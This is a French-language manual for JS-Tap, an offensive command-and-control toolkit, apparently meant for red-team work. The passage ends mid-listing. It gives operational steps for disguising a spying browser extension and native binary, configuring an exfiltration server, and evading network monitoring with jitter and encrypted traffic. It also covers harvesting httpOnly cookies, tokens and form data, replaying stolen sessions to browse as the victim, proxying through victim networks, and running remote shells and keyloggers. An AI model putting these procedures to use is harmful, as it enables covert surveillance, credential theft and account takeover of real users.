Si vous définissez proxyMode sur true, le serveur JS-Tap fonctionnera en mode HTTP et prendra l'adresse IP du client depuis l'en-tête X-Forwarded-For, que NGINX doit être configuré pour définir.
Lorsque proxyMode est défini sur false, JS-Tap fonctionnera avec un certificat auto-signé, ce qui est utile pour les tests. L'adresse IP du client sera prise à partir de l'IP source du client connecté.
Le paramètre dataDirectory indique à JS-Tap quel répertoire utiliser pour la base de données SQLite et le répertoire de butin. Tout le "butin" n'est pas stocké dans la base de données, les captures d'écran et les fichiers HTML récupérés en particulier ne le sont pas.
Pour modifier la configuration du port du serveur, voir la dernière ligne de jsTapServer.py``` app.run(debug=False, host='0.0.0.0', port=8444, ssl_context='adhoc')
### Configuration du BEX Beacon (config.json)
Situé dans `bex-beacon/config.json`. Il s'agit de la **source unique de vérité** pour toute la configuration de build — extensions, identifiants d'extensions et paramètres sidecar.```json
{
"extension": {
"name": "Resource Optimizer",
"short_name": "ResOpt",
"version": "2.1.4",
"description": "Optimizes page resource loading for improved performance.",
"author": "WebPerf Tools",
"homepage_url": "https://www.example.com",
"install_dirname": "webperf-tools"
},
"extension_ids": {
"chrome_key": "",
"chrome_key_pem": "",
"chrome_extension_id": "",
"firefox_extension_id": "bex-beacon@jstap"
},
"js_tap_server": {
"domain": "127.0.0.1",
"port": 8444
},
"heartbeat": {
"base_interval": 5,
"jitter_percent": 30
},
"domain_scoping": {
"whitelist_enabled": false,
"whitelist": [
"https://*.example.com/*",
"http://localhost:8000/*"
]
},
"sidecar": {
"enabled": false,
"host_name": "com.jstap.sidecar",
"binary_name": "sidecar"
}
}
Contrôle les métadonnées du manifeste de l'extension et le nommage du déploiement. Modifiez ces champs pour déguiser l'apparence de l'extension dans chrome://extensions ou about:addons.
Contrôle les ID d'extension statiques pour les constructions déterministes. Voir ID d'extension statiques pour les instructions de configuration.
| Champ | Description |
|---|---|
domain | Nom d'hôte ou IP de votre serveur JS-Tap. |
port | Port sur lequel le serveur JS-Tap écoute. |
Contrôle la fréquence à laquelle le beacon se connecte au serveur pour signaler la télémétrie et récupérer de nouvelles tâches (comme les commandes d'injection ou les commandes sidecar).
La gigue est importante pour l'OPSEC — elle empêche le beacon de créer un motif réseau parfaitement régulier qui pourrait être détecté par les outils de surveillance réseau. Chaque heartbeat planifie le suivant avec un nouveau caractère aléatoire.
Contrôle les domaines que le beacon surveille et avec lesquels il interagit.
| Champ | Description |
|---|---|
Lorsque la liste blanche est activée, le beacon l'applique à plusieurs niveaux :
Ceci est crucial pour les engagements d'équipe rouge avec des exigences de périmètre strictes. Définir whitelist_enabled: true garantit que le beacon n'interagira pas avec des domaines hors périmètre.
Exemples de motifs de liste blanche :```json "whitelist": [ "https://.targetcorp.com/", "https://app.targetcorp.com/", "http://internal.targetcorp.local:8080/" ]
#### sidecar
Contrôle la fonctionnalité optionnelle de messagerie native dans le BEX Beacon. Voir la section [Sidecar](#sidecar-native-messaging) ci-dessus pour plus de détails.
| Champ | Description |
|---|---|
| `enabled` | `false` = pas de messagerie native (par défaut). `true` = active le support sidecar. Ajoute la permission `nativeMessaging` au manifeste de l'extension. |
| `host_name` | Le nom de l'hôte de messagerie native. Par défaut : `com.jstap.sidecar` |
| `binary_name` | Nom du binaire sidecar compilé. Par défaut : `sidecar`. Modifiez-le pour déguiser le binaire sur les systèmes cibles (par ex. `chrome-helper`). |
Le script de build unifié synchronise automatiquement les ID d'extension de `extension_ids` vers la configuration du sidecar, afin que vous n'ayez à configurer les ID qu'à un seul endroit.
### Configuration du Payload JS-Tap (telemlib.js)
Ces variables de configuration se trouvent dans la fonction **initGlobals()**.
#### Emplacement du serveur JS-Tap
Vous devez configurer le payload avec l'URL du serveur JS-Tap auquel il se connectera.```
window.taperexfilServer = "https://127.0.0.1:8444";
Set to either trap or implant Ceci est défini avec la variable :``` window.taperMode = "trap"; or window.taperMode = "implant";
#### Trap Mode Starting Page
Nécessaire uniquement pour le mode trap. Voir l'explication dans la section **Operating Modes** ci-dessus.<br>
Définit la page sur laquelle l'utilisateur commence lorsque l'iFrame trap est défini.```
window.taperstartingPage = "http://targetapp.com/somestartpage";
Si vous souhaitez que le piège commence sur la page actuelle, au lieu de rediriger l'utilisateur vers une page différente dans le piège iframe, vous pouvez utiliser :``` window.taperstartingPage = window.location.href;
#### Étiquette du client
Utile si vous utilisez JS-Tap contre plusieurs applications ou déploiements à la fois et souhaitez un indicateur visuel de la charge utile chargée. N'oubliez pas que l'ensemble du répertoire /payloads est servi, vous pouvez avoir plusieurs charges utiles JS-Tap configurées avec différents modes, pages de démarrage et étiquettes de client.
Cette chaîne d'étiquette (gardez-la courte !) est préfixée au surnom du client dans le portail JS-Tap. Configurez plusieurs charges utiles, chacune avec la configuration appropriée pour l'application contre laquelle elle est utilisée, et ajoutez une étiquette indiquant quelle application le client exécute.```
window.taperTag = 'whatever';
Utilisé pour configurer si les clients vérifient les tâches Custom Payload, et à quelle fréquence ils les vérifient. Les paramètres de jitter Vous permettent de définir optionnellement un modificateur de plancher et de plafond. Une valeur aléatoire entre ces deux nombres sera choisie et ajoutée au délai de vérification. Réglez-les sur 0 et 0 pour aucun jitter.``` window.taperTaskCheck = true; window.taperTaskCheckDelay = 5000; window.taperTaskJitterBottom = -2000; window.taperTaskJitterTop = 2000;
#### Empreinte du client
Cette fonctionnalité peut être activée pour calculer une empreinte du client basée sur de nombreux attributs. Un hachage très court est créé à partir de cette empreinte. Ce court hachage peut éventuellement être affiché sur la carte du client en l'activant dans **App SettingS**. Le filtre de la liste des clients peut être filtré sur cette empreinte pour identifier plusieurs clients JS-Tap qui sont susceptibles de fonctionner sur le même ordinateur. Notez que si une entreprise fournit des systèmes identiques aux utilisateurs, ils pourraient facilement se retrouver avec la même valeur d'empreinte.
Pour activer les calculs d'empreinte dans la payload JS-Tap :```
window.taperFingerprint = true;
Même si l'empreinte est en cours de calcul, elle ne s'affichera pas dans les fiches client tant que la fonctionnalité n'est pas également activée dans les Paramètres de l'application.
Notez que vous pouvez filtrer la liste des clients par empreinte pour afficher les clients qui sont très probablement le même ordinateur.
Paramètre vrai/faux qui détermine si une copie du code HTML de chaque page consultée est exfiltrée. Ces fichiers HTML exfiltrés sont nécessaires pour trouver les sources des jetons CSRF lors de la génération automatique de charges utiles personnalisées de soumission de formulaire.``` window.taperexfilHTML = true;
#### Copier les soumissions de formulaires
paramètre vrai/faux pour déterminer s'il faut intercepter une copie de toutes les publications de formulaires.```
window.taperexfilFormSubmissions = true;
Active le monkeypatching des APIs XHR et Fetch. Cela fonctionne en mode trap. En mode implant, seules les APIs Fetch sont monkeypatchées. Le monkeypatching permet de réécrire JavaScript à l'exécution. Activer cette fonctionnalité réécrira les APIs réseau XHR et Fetch utilisées par le code JavaScript afin d'intercepter le contenu de ces appels réseau. Notez que les appels réseau basés sur jQuery et Ajax seront capturés dans l'API XHR, qu'ils utilisent en interne pour les appels réseau. La génération automatique de charges utiles personnalisées pour les appels API dépend bien sûr de l'interception des appels API via cette fonctionnalité de monkeypatch.``` window.monkeyPatchAPIs = true;
## Portail JS-Tap
Connectez-vous avec les identifiants administrateur fournis par le script serveur au démarrage (également sauvegardés dans `adminCreds.txt`).
### Gestion des clients
Les clients apparaissent à gauche, regroupés par type. Utilisez les boutons de basculement en haut de la liste des clients pour passer d'une vue à l'autre.
* **Apps** — Clients DOM Beacon (depuis les payloads telemlib.js)
* **Navigateurs** — Clients BEX Beacon
* **Electrons** — Clients Atom Beacon (depuis des applications Electron patchées)
* **Nodes** — Clients V8 Beacon (depuis des applications CLI Node.js/Bun)
La sélection d'un client affichera une série temporelle de ses événements (butin) à droite. Si vous filtrez la liste (par exemple en passant d'Apps à Navigateurs), la vue du butin actuellement sélectionnée s'assombrira et passera en niveaux de gris pour indiquer qu'il s'agit de données "d'arrière-plan".
Lorsque vous êtes dans la vue **Navigateurs**, l'en-tête de la colonne des détails affiche un bouton bascule **Butin / Outils** :
* **Onglet Butin** — Fiches de domaines montrant les domaines visités et les contrôles d'injection.
* **Onglet Outils** — Panneau Proxy Navigateur (toujours visible) et panneau Sidecar (repliable, si le beacon le supporte).
Les clients Atom Beacon (dans la vue **Electrons**) et les clients V8 Beacon (dans la vue **Nodes**) ont également un basculement **Butin / Outils**. Leur panneau Outils offre une navigation de fichiers intégrée et un accès shell sans nécessiter de binaire sidecar séparé. Les Atom Beacons disposent en plus de contrôles de capture d'écran.
**Les BEX Beacons (Navigateurs)** peuvent être développés pour voir tous les domaines qu'ils ont visités. Vous pouvez déclencher l'injection de DOM Beacon depuis la liste des domaines. Les fiches BEX Beacon dans la barre latérale afficheront un résumé des DOM Beacons qu'ils ont réussi à générer.
La liste des clients peut être triée par temps (première vue, dernière mise à jour reçue) et la liste peut être filtrée pour n'afficher que les clients "marqués d'une étoile". Il y a également une recherche de filtre rapide au-dessus de la liste des clients qui vous permet de filtrer rapidement les clients contenant la chaîne saisie. Utile si vous définissez une balise optionnelle dans la configuration du payload. Les balises optionnelles apparaissent précédées du surnom du client. Le filtrage est vérifié par rapport à la balise optionnelle, au surnom, à l'adresse IP, à l'empreinte digitale, au navigateur, à la plateforme, au type de client, au domaine et à l'UUID. Notez que vous pouvez inverser la recherche de filtre en précédant votre terme de recherche d'un '!'. Par exemple, pour afficher tous les clients n'utilisant pas Firefox, utilisez le terme de filtre "!firefox". Vous pouvez combiner plusieurs termes avec `&&` pour une logique ET (par exemple `linux && chrome && !bex`).
Chaque client possède un bouton 'x' (près du bouton étoile). Cela vous permet de supprimer la session de ce client ; s'il envoie des données inutiles ou indésirables, vous pouvez empêcher ce client de soumettre des données futures.
Lorsque le payload JS-Tap démarre, il récupère une session auprès du serveur JS-Tap. Si vous souhaitez empêcher l'émission de nouvelles sessions client, sélectionnez **Paramètres de l'application** en haut et vous pouvez désactiver les nouvelles sessions client. Vous pouvez également activer l'affichage des "empreintes digitales" du client, qui sont des valeurs de hachage très courtes censées être uniques au navigateur d'un utilisateur sur un système particulier. Cela peut aider à identifier quels clients JS-Tap pourraient en fait être le même individu. Notez que le client JS-Tap doit être configuré pour effectuer les calculs d'empreinte. La barre de recherche de filtre client recherche également le champ d'empreinte, il est donc facile d'afficher les clients avec des empreintes identiques.
Vous pouvez également configurer des notifications par e-mail dans **Paramètres de l'application** pour être averti des nouveaux clients ou des nouveaux événements pour les clients. Cela repose uniquement sur SMTP (TLS), et vous pouvez envoyer les e-mails de notification à plusieurs destinataires. Une option "délai d'e-mail" évite les spams constants ; vous recevrez un e-mail récapitulatif de toutes les notifications survenues pendant la période de délai.
Vous pouvez modifier la fréquence de mise à jour automatique de la liste des clients dans les **Paramètres de l'application** et vous pouvez également bloquer des adresses IP spécifiques pour qu'elles ne reçoivent pas de session JS-Tap ici.
Si vous souhaitez mieux dissimuler le trafic réseau JS-Tap de l'inspection, dans **Paramètres de l'application**, activez l'obfuscation du trafic. Cela fonctionnera sur les applications utilisant HTTPS où l'API webcrypto est disponible. Le client JS-Tap chiffrera tout le trafic au niveau de l'application et l'enverra à un seul point de terminaison API sur le serveur C2, qui le déchiffrera et l'acheminera côté serveur. Les réponses du C2 JS-Tap (telles que les payloads personnalisés) proviennent également de ce même point de terminaison API et sont également chiffrées. Notez que si le navigateur espionné ne supporte pas l'API web crypto, JS-Tap reviendra au trafic traditionnel non obfusqué.
Chaque client dispose d'une fonctionnalité "notes". Si vous trouvez des informations intéressantes pour ce client particulier (identifiants, jetons API, etc.), vous pouvez les ajouter aux notes du client. Après avoir examiné tous vos clients et pris vos notes, la fonctionnalité **Voir toutes les notes** en haut vous permet d'exporter toutes les notes de tous les clients à la fois.
La liste des événements peut être filtrée par type d'événement si vous essayez de vous concentrer sur quelque chose de spécifique, comme les captures d'écran. Pour les clients DOM Beacon, la liste des événements/butin ne se met _pas_ à jour automatiquement (la liste des clients le fait) — si vous voulez charger les derniers événements, vous devez sélectionner à nouveau le client à gauche. Les clients Atom Beacon et BEX Beacon utilisent une vue des événements à actualisation automatique qui ajoute de manière incrémentielle de nouveaux événements sans réinitialiser votre position de défilement.
### Injection BEX
Lorsque vous consultez les informations de domaine d'un Beacon, vous pouvez cliquer sur **Injecter DOM Beacon** pour mettre en file d'attente une injection.
* Un badge "SUCCESS" apparaîtra une fois le script d'injection demandé.
* Le surnom du DOM Beacon généré sera automatiquement lié et affiché sur la fiche de domaine et la fiche de la barre latérale du beacon.
* Les injections se produisent immédiatement si l'utilisateur est actuellement sur le domaine cible, ou lors de la prochaine visite.
### Tickets JS-Tap et JS-Tap Conductor (Clonage de session)
Le BEX Beacon capture les cookies (y compris httpOnly), localStorage, sessionStorage et les en-têtes d'autorisation pour chaque domaine visité par la cible. Les **Tickets JS-Tap** vous permettent d'exporter toutes ces données de session sous forme de blob portable, et **JS-Tap Conductor** les rejoue dans votre propre navigateur afin que vous puissiez naviguer en tant que victime.
#### Génération d'un ticket JS-Tap
1. Dans le portail JS-Tap, sélectionnez un client BEX Beacon et développez sa liste de domaines.
2. Cliquez sur le bouton **Ticket de session** sur la fiche de domaine que vous souhaitez cloner.
3. Le ticket est copié dans votre presse-papiers sous forme de chaîne encodée en base64.
Un ticket contient :
- Tous les cookies du domaine (avec les métadonnées httpOnly, secure, sameSite, path, domain et expiration)
- Les en-têtes de requête capturés (Authorization, x-api-key, etc.)
- Les paires clé/valeur localStorage et sessionStorage
- La chaîne User-Agent brute, la plateforme et le navigateur de la victime
- Les URL visitées pour le domaine (les plus récentes en premier)
**Important :** Assurez-vous de générer le ticket à partir de l'entrée de domaine correcte. Par exemple, `reddit.com` et `www.reddit.com` sont des entrées de domaine distinctes dans les données du beacon — choisissez celle qui contient les cookies d'authentification.
#### Installation de JS-Tap Conductor
JS-Tap Conductor est une extension Firefox MV2 autonome. Il **doit s'agir de Firefox** — il repose sur l'API `webRequestBlocking` de Firefox MV2 pour injecter des en-têtes dans les requêtes sortantes, ce que Chrome MV3 ne supporte pas.
Pour le charger en tant qu'extension temporaire :
1. Ouvrez Firefox et accédez à `about:debugging#/runtime/this-firefox`
2. Cliquez sur **"Charger un module complémentaire temporaire..."**
3. Accédez au répertoire `jstap-conductor/` et sélectionnez `manifest.json`
L'icône de JS-Tap Conductor (le logo JS-Tap) apparaîtra dans la barre d'outils de Firefox. Les extensions temporaires persistent jusqu'à la fermeture de Firefox — vous devrez les recharger après un redémarrage.
#### Utilisation de JS-Tap Conductor
1. Cliquez sur l'icône JS-Tap Conductor dans la barre d'outils pour ouvrir la fenêtre contextuelle.
2. Collez le ticket JS-Tap dans la zone de texte et cliquez sur **Importer**.
3. JS-Tap Conductor va :
- **Définir tous les cookies** du domaine, y compris les cookies httpOnly (les extensions ont ce privilège).
- **Enregistrer l'injection d'en-têtes** — Les en-têtes Authorization et autres en-têtes capturés sont injectés dans chaque requête correspondante via `webRequest.onBeforeSendHeaders`.
- **Usurper le User-Agent** — La chaîne User-Agent de la victime remplace la vôtre dans tous les en-têtes de requête sortante pour ce domaine.
- **Remplir le stockage** — Les entrées localStorage et sessionStorage sont écrites lorsque vous naviguez vers le domaine.
- **Usurper les API navigator** — Même si vous utilisez Firefox, `navigator.userAgent`, `navigator.platform` et `navigator.appVersion` sont modifiés dans le contexte JavaScript de la page pour renvoyer les valeurs de la victime. Cela contourne les vérifications UA côté client.
4. Cliquez sur **Ouvrir** sur le ticket importé pour accéder à la première URL capturée, ou naviguez manuellement vers le domaine.
5. Vous devriez maintenant naviguer avec la session de la victime.
La fenêtre contextuelle affiche un **historique des tickets** (10 derniers tickets) avec des compteurs de badges pour les cookies, en-têtes, éléments localStorage et sessionStorage. Les tickets de session et les tickets proxy apparaissent dans l'historique. Chaque ticket peut être activé/désactivé ou supprimé. Les tickets proxy sont visuellement distingués par un badge "proxy" indiquant le port et les domaines cibles.
Utilisez **Désactiver** pour désactiver l'injection de session d'un ticket sans le perdre, ou **Supprimer** pour le supprimer définitivement.
#### Vérifier que cela fonctionne
- **Cookies :** Ouvrez les outils de développement Firefox → Stockage → Cookies. Vous devriez voir tous les cookies importés, y compris ceux httpOnly.
- **En-têtes :** Ouvrez les outils de développement → onglet Réseau. Vérifiez que les en-têtes Authorization et User-Agent sur les requêtes sortantes correspondent aux valeurs de la victime.
- **Stockage :** Ouvrez les outils de développement → Stockage → Stockage local / Stockage de session. Vérifiez que les clés importées sont présentes.
- **Usurpation navigator :** Ouvrez la console du navigateur et tapez `navigator.userAgent` — il devrait renvoyer la chaîne UA de la victime, pas celle de Firefox.
### Proxy Navigateur
Le Proxy Navigateur vous permet d'acheminer le trafic de votre navigateur via le navigateur de la victime (ou le processus Node.js/Electron) en temps réel. Les requêtes sont exécutées depuis le contexte réseau de la victime, de sorte que le site cible voit l'IP et l'empreinte TLS de la victime.
Le proxy est supporté par les **BEX Beacons**, **Atom Beacons** et **V8 Beacons**.
#### Comment ça fonctionne
1. Sélectionnez un beacon dans le portail et passez à l'onglet **Outils**.
2. Cliquez sur **Démarrer le proxy** dans le panneau Proxy Navigateur. Le serveur alloue un port local (affiché dans le panneau).
3. Configurez votre navigateur pour utiliser `127.0.0.1:<port>` comme proxy HTTP/HTTPS.
4. Téléchargez le **Certificat CA** et installez-le dans le magasin de certificats de votre navigateur (nécessaire pour le MITM HTTPS).
5. Naviguez normalement — toutes les requêtes sont transmises via la connexion WebSocket du beacon et exécutées depuis le réseau de la victime.
Le proxy effectue une terminaison TLS en utilisant des certificats par domaine générés dynamiquement et signés par l'AC JS-Tap. Cela lui permet d'inspecter et de relayer le trafic HTTPS de manière transparente.
#### Workflows composables
Le proxy est un "tuyau stupide" — il transmet exactement ce que le navigateur de l'opérateur envoie, sans injecter ni modifier les identifiants. Cela le rend composable avec les Tickets de session pour quatre workflows distincts :
| Workflow | Configuration | Résultat |
|---|---|---|
| **Proxy uniquement** | Démarrer le proxy, sans ticket de session | Navigation non authentifiée via le réseau/IP de la victime |
| **Ticket de session uniquement** | Importer le ticket de session dans Conductor, sans proxy | Navigation authentifiée directement depuis l'IP de l'opérateur |
| **Proxy + ticket de session** | Proxy et ticket de session actifs | Navigation authentifiée via le réseau de la victime — le Conductor injecte les cookies/en-têtes/UA dans le navigateur de l'opérateur, le proxy MITM les transmet au beacon |
| **Proxy + propre connexion** | Démarrer le proxy, se connecter manuellement via le proxy | Propre session de l'opérateur via le réseau de la victime |
Pour le workflow **Proxy + ticket de session**, JS-Tap Conductor gère toute l'injection de session (cookies, en-têtes, User-Agent, stockage, usurpation navigator). Le proxy MITM transmet la requête complète de l'opérateur — y compris les en-têtes injectés — au beacon, qui exécute la récupération depuis le réseau de la victime.
#### Tickets proxy
Pendant que le proxy est actif, vous pouvez cliquer sur **Ticket proxy** pour générer un ticket compatible avec JS-Tap Conductor qui configure automatiquement les paramètres de proxy du Conductor. Importez le ticket proxy dans le Conductor pour acheminer le trafic Firefox via le beacon sans configurer manuellement les paramètres de proxy.
### Utilisation du panneau Sidecar / Outils
Lorsqu'un client BEX Beacon a le Sidecar connecté, l'onglet **Outils** affichera un panneau **Sidecar** (réduit par défaut, sous le panneau Proxy Navigateur). Les clients Atom Beacon et V8 Beacon affichent le même panneau sous **Outils** avec un badge **Intégré** (car l'accès au système d'exploitation est natif à l'agent). Le panneau comporte des onglets :
#### Onglet Navigateur de fichiers
- Le navigateur de fichiers liste automatiquement le répertoire personnel de l'utilisateur lors du premier chargement du panneau
- Naviguez en cliquant sur les noms de dossiers ou l'entrée `..` pour remonter d'un répertoire
- Le champ du chemin reflète toujours votre emplacement actuel et peut être modifié manuellement
- Cliquez sur **Lire** sur un fichier pour voir son contenu (décodé en base64 et affiché sous forme de texte)
- Cliquez sur **Retour à la liste des répertoires** pour revenir de la vue fichier
- **Télécharger :** Sélectionnez un fichier et cliquez sur **Télécharger** pour l'écrire dans le répertoire actuellement parcouru. La liste se met à jour automatiquement après un téléchargement réussi. La taille maximale du fichier est de 700 Ko.
#### Onglet Shell
- Un terminal interactif avec suivi du répertoire de travail (CWD) entre les commandes
- L'invite affiche votre répertoire actuel sur le système cible (par exemple `/home/user $ `)
- Tapez une commande et appuyez sur **Entrée** ou cliquez sur **Exécuter** pour l'exécuter
- Le CWD persiste entre les commandes (`cd /tmp` suivi de `ls` listera `/tmp`)
- **Historique des commandes :** Utilisez les touches **Haut/Bas** pour parcourir les commandes précédentes
- **Fenêtre séparée :** Cliquez sur le bouton **Pop Out** pour ouvrir le shell dans une fenêtre autonome avec sa propre barre de titre, un historique complet des commandes et un fonctionnement indépendant
- La sortie est codée par couleur : vert pour les invites, blanc pour stdout, rouge pour stderr
- Le suivi du CWD utilise la syntaxe du shell POSIX et fonctionne sur les cibles Linux/macOS
#### Onglet Captures d'écran (Atom Beacon uniquement)
- **Capturer maintenant** — Déclencher manuellement une capture d'écran de toutes les fenêtres suivies
- **Basculements de capture automatique** — Activer/désactiver les captures d'écran automatiques lors des événements de focus de fenêtre, de navigation et de nouvelle fenêtre
- **Temps de recharge** — Secondes minimales entre les captures automatiques par fenêtre (défaut : 30, minimum : 5)
- Cliquez sur **Enregistrer les paramètres** pour envoyer les modifications des basculements/temps de recharge à l'agent en temps réel
**Remarque :** Les commandes sont asynchrones. Lorsque vous envoyez une commande, l'interface utilisateur interroge les résultats. Le beacon/agent doit se connecter (heartbeat) pour récupérer la commande et renvoyer le résultat. Avec les paramètres de heartbeat par défaut, attendez-vous à un délai de quelques secondes.
### Payloads personnalisés
Plusieurs payloads JavaScript peuvent être ajoutés dans le portail JS-Tap et exécutés sur un seul client, tous les clients actuels, ou définis pour s'exécuter automatiquement sur tous les futurs clients. Les payloads peuvent être écrits/modifiés dans le portail JS-Tap, ou importés depuis un fichier. Les payloads peuvent également être exportés. Le format d'importation des payloads est un JSON simple. Le code JavaScript et la description sont simplement encodés en base64.```
[{"code":"YWxlcnQoJ1BheWxvYWQgMSBmaXJpbmcnKTs=","description":"VGhlIGZpcnN0IHBheWxvYWQ=","name":"Payload 1"},{"code":"YWxlcnQoJ1BheWxvYWQgMiBmaXJpbmcnKTs=","description":"VGhlIHNlY29uZCBwYXlsb2Fk","name":"Payload 2"}]
Si votre charge utile personnalisée a besoin d'exfiltrer des données, vous pouvez utiliser la méthode customExfil(note, data). Appeler cette méthode dans votre charge utile personnalisée enverra ces données textuelles vers JS-Tap et elles seront affichées comme un événement dans les données collectées.
L'interface utilisateur principale pour les charges utiles personnalisées se trouve dans la barre de menu supérieure. Sélectionnez Custom Payloads pour ouvrir l'interface. Toutes les charges utiles existantes seront affichées dans une liste à gauche. La barre de boutons vous permet d'importer et d'exporter la liste. Les charges utiles peuvent être modifiées sur le côté droit, bien que vous puissiez appuyer sur le bouton Expand Code pour obtenir un volet d'édition de code plus grand. Pour charger une charge utile existante en vue de la modifier, sélectionnez-la en cliquant dessus dans la liste Saved Payloads. Une fois que vous avez défini et enregistré des charges utiles, vous pouvez les exécuter sur les clients.
Dans la vue principale Custom Payloads, vous pouvez lancer une charge utile contre tous les clients actuels (bouton Run). Vous pouvez également activer l'attribut Autorun d'une charge utile, ce qui signifie que tous les nouveaux clients exécuteront la charge utile. Notez que les clients existants n'exécuteront pas une charge utile en fonction du réglage Autorun.
Vous pouvez activer Repeat et la charge utile sera assignée à chaque client lorsqu'il vérifiera les tâches. Rappelez-vous que le taux auquel un client vérifie les tâches de charge utile personnalisée est variable, et que ce taux peut être modifié dans la configuration principale de la charge utile JS-Tap. Ce taux peut être modifié avec une charge utile personnalisée (en appelant la fonction updateTaskCheckInterval(newDelay)). La gigue dans le délai de vérification des tâches peut être définie avec la fonction updateTaskCheckJitter(newTop, newBottom).
Le bouton Clear All Jobs dans l'interface utilisateur des charges utiles personnalisées supprimera toutes les tâches de charge utile personnalisée de la file d'attente pour tous les clients et réinitialisera les bascules d'exécution automatique/répétée.
Pour exécuter une charge utile sur un seul client, utilisez le bouton Run Payload sur le client spécifique sur lequel vous souhaitez l'exécuter, puis cliquez sur le bouton Run pour la charge utile spécifique que vous souhaitez utiliser. Vous pouvez également définir Repeat sur des clients individuels.
Les règles de ciblage vous permettent d'exécuter automatiquement des charges utiles sur des clients qui correspondent à des critères spécifiques, au lieu de sélectionner manuellement des clients individuels ou de les exécuter aveuglément sur tous les clients.
Cliquez sur le bouton Add Rule d'une charge utile pour créer une règle de ciblage. Les règles utilisent la même syntaxe de filtre que la barre de recherche client :
&& pour combiner les termes (ex. linux && chrome)! pour le nier (ex. !bex-beacon)Exemple : linux && chrome && !bex correspondra à tous les clients Linux Chrome qui ne sont pas des BEX Beacons.
Avant d'enregistrer une règle, vous pouvez cliquer sur Preview pour voir quels clients actuellement connectés correspondraient. L'aperçu affiche des mini-cartes client avec les mêmes informations que la liste principale des clients (tag/nickname, horodatages, IP, plateforme, navigateur, domaine).
Chaque règle de ciblage possède ses propres contrôles Autorun, Repeat et Run qui fonctionnent comme les boutons au niveau de la charge utile mais n'affectent que les clients correspondant à la requête de filtre de la règle. Vous pouvez également Edit ou Delete des règles individuelles. Une charge utile peut avoir plusieurs règles de ciblage.
JS-Tap inclut la capacité de générer automatiquement des charges utiles personnalisées. Cette fonctionnalité exploite la possibilité d'intercepter les soumissions de formulaires et les appels XHR/Fetch API. JS-Tap peut utiliser ces communications interceptées comme prototype pour construire une charge utile autour.
Les paramètres de la requête seront définis par des variables en haut de la charge utile autogénérée, ce qui facilite la modification de l'action effectuée. Les soumissions de formulaires qui nécessitent un jeton CSRF, et les appels XHR/Fetch API qui nécessitent un en-tête Authorization seront traités par l'assistant mimic ; vous pouvez sélectionner ces valeurs dans la soumission de formulaire/l'appel API intercepté et JS-Tap recherchera dans sa base de données pour déterminer d'où proviennent ces valeurs.
Une charge utile sera générée qui récupère d'abord la valeur actuelle de ces éléments dans le navigateur de l'utilisateur, car ces valeurs seront probablement différentes dans le temps et d'un utilisateur à l'autre. Les valeurs récupérées seront utilisées dans la requête suivante qui transmet vos paramètres modifiés au serveur pour effectuer l'action « imitée ».
Si vous ignorez la recherche de ces valeurs, que la requête ne les a pas, ou que JS-Tap ne trouve pas la source, une charge utile sera générée qui utilise les jetons CSRF et les valeurs d'en-tête Authorization de la requête interceptée originale.
Pour utiliser la fonctionnalité mimic afin de créer des charges utiles autogénérées, trouvez une soumission de formulaire ou un appel API intercepté et appuyez sur le bouton Create Mimic Payload sur la carte d'événement dans la colonne de butin. Cela ouvrira l'assistant où vous sélectionnerez soit un jeton CSRF (pour les soumissions de formulaires), soit des en-têtes Authorization (pour les appels API). Vous devrez copier le nom du paramètre/en-tête dans le champ de nom, et la valeur du jeton dans le champ de valeur. Une fois cela fait, cliquez sur le bouton Search pour laisser JS-Tap déterminer où ces valeurs sont stockées ou récupérées.
Si JS-Tap trouve la source de ces valeurs, cliquer sur suivant générera la charge utile et l'entrera dans le système C2 comme une nouvelle charge utile. Modifiez le nom, la description et les valeurs des paramètres en haut du code généré selon vos réglages souhaités et enregistrez-la. Vous pouvez ensuite exécuter cette charge utile sur les clients JS-Tap.
JS-Tap/ ├── buildAll.py # Unified build script (extensions + sidecar + deploy bundles) ├── jsTapServer.py # Flask C2 server (all routes, models, logic) ├── jstapRun.sh # Gunicorn production launcher ├── requirements.txt # Python dependencies ├── index.html # Dashboard HTML ├── login.html # Login page ├── payloads/ │ └── telemlib.js # DOM Beacon payload ├── protectedStatic/ │ └── main.js # All dashboard UI logic ├── proxy/ # Browser Proxy (MITM proxy server) │ ├── server.py # Threaded proxy server, WebSocket relay, MITM TLS │ └── certs.py # Dynamic per-domain certificate generation ├── jstap-conductor/ # Session replay Firefox extension (standalone MV2) │ ├── manifest.json # Firefox MV2 manifest │ ├── icon.svg # Extension icon (JS-Tap logo) │ ├── background/ # Cookie setting, header injection, UA spoofing │ ├── content/ # Storage injection, navigator property spoofing │ └── popup/ # Ticket import UI ├── bex-beacon/ # Browser extension (WXT + legacy) │ ├── config.json # Central configuration (extensions, IDs, sidecar) │ ├── wxt.config.ts # WXT build config │ ├── package.json # Node dependencies │ ├── buildBexBeacon.py # Legacy extension builder │ ├── entrypoints/ │ │ ├── background/ # Service worker (heartbeat, tasks, encryption) │ │ └── content/ # Content script (DOM instrumentation) │ ├── utils/ │ │ ├── config.ts # Config translation + whitelist helpers │ │ ├── crypto.ts # AES-GCM encryption/decryption helpers │ │ ├── proxy.ts # Browser Proxy WebSocket client + fetch relay │ │ └── sidecar.ts # Native messaging module │ ├── src-chrome-extension/ # Legacy Chrome MV3 template │ └── src-firefox-extension/ # Legacy Firefox MV2 template ├── atom-beacon/ # Electron app implant patcher │ ├── atomize.py # Patcher CLI (analyze + patch Electron apps) │ ├── atomize.spec # PyInstaller spec for building atomize.exe (Windows) │ ├── asar.py # Pure-Python ASAR archive handling (extract/pack/patch) │ └── payload/ │ ├── atom-agent.js # Main process agent (C2, encryption, OS access, screenshots) │ └── atom-telemlib.js # Renderer payload (keylogging, DOM capture, network interception) ├── v8-beacon/ # Node.js / Bun CLI implant │ ├── v8ize.py # Build script (template variable replacement) │ └── payload/ │ └── v8-agent.js # V8 Beacon agent (network hooks, stdin capture, C2) ├── plugins/ # Beacon plugins (loaded at runtime via C2) │ ├── example/ # Example plugin template │ │ ├── manifest.json # Plugin metadata (id, name, targetApps, capabilities) │ │ ├── main.js # Plugin entry point (documents full plugin API) │ │ └── ui.html # Optional operator-facing UI panel │ └── mattermost/ # Mattermost-specific plugin ├── sidecar/ # Native messaging Go binary │ ├── main.go # Message loop (native messaging protocol) │ ├── commands.go # Command handlers (list_dir, read_file, exec_cmd) │ ├── go.mod # Go module │ ├── config.json # Auto-synced from central config by buildAll.py │ ├── buildSidecar.py # Cross-compile + generate install scripts │ └── uninstall.sh # Remove sidecar binary + manifests for testing ├── build/ # Build output (gitignored) │ ├── chrome-mv3/ # Unpacked Chrome extension │ ├── firefox-mv2/ # Unpacked Firefox extension │ ├── extension.crx # 